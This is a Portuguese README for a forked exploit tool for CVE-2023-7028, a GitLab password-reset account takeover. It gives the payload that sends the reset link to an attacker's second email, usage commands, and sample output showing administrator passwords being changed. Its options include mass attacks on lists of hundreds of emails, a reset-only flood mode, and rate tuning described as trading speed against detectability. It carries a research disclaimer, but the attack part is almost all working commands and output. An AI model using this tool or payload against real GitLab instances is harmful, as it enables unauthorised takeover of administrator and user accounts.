
Este FORK do repositório apresenta uma prova de conceito do CVE-2023-7028. Estou apenas melhorando o uso da exploração
Este código é uma prova de conceito da vulnerabilidade, não estou incentivando ninguém a usá-lo em instâncias gitlab que não possuem. Esta ferramenta foi desenvolvida apenas para fins de pesquisa e educacionais e não me responsabilizo por qualquer uso que você possa fazer dela.
ISTO É UM FORK DO REPO https://github.com/Vozec/CVE-2023-7028. Estou apenas melhorando o uso do exploit.
CVE-2023-7028 refere-se a uma vulnerabilidade de Assunção de Conta que permite que usuários assumam o controle da conta de administrador do gitlab sem interação do usuário.
A vulnerabilidade reside na gestão de emails ao redefinir senhas. Um atacante pode fornecer 2 emails e o código de redefinição será enviado para ambos. É possível, portanto, fornecer o endereço de email da conta alvo e também o do atacante, e redefinir a senha do administrador. (O Gitlab salienta que a autenticação de dois fatores impede a exploração desta vulnerabilidade, pois um atacante, mesmo após redefinir a senha, não conseguirá fazer login.)
Esta vulnerabilidade foi descoberta por asterion04
Aqui está um exemplo de payload
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: EU7XIYjlawjb5tH2jgmU
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt
[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20
[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful
$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]
This tool automates CVE-2023-7028 on gitlab
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)
-t para atacar um único endereço de email-l para carregar endereços de email de um arquivo (um por linha)--evil, o script usa temp-mail público para encontrar o link de redefinição (tenha cuidado durante pentests)--skip para apenas enviar solicitações de redefinição sem aguardar a redefinição de senha (mais rápido para ataques em massa)-rps para controlar requisições por segundo (padrão: 10). Valores mais altos = mais rápido, porém mais detectável# Alvo único com senha personalizada
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123
# Ataque em massa com limite de taxa mais lento
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5
# Reconhecimento rápido - apenas enviar solicitações de redefinição
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50